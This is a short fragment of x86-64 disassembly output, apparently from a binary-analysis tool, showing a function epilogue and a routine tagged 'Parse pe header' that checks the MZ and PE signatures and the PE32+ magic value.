call fcn.140007a8c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000faa0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000fac8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000fac8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret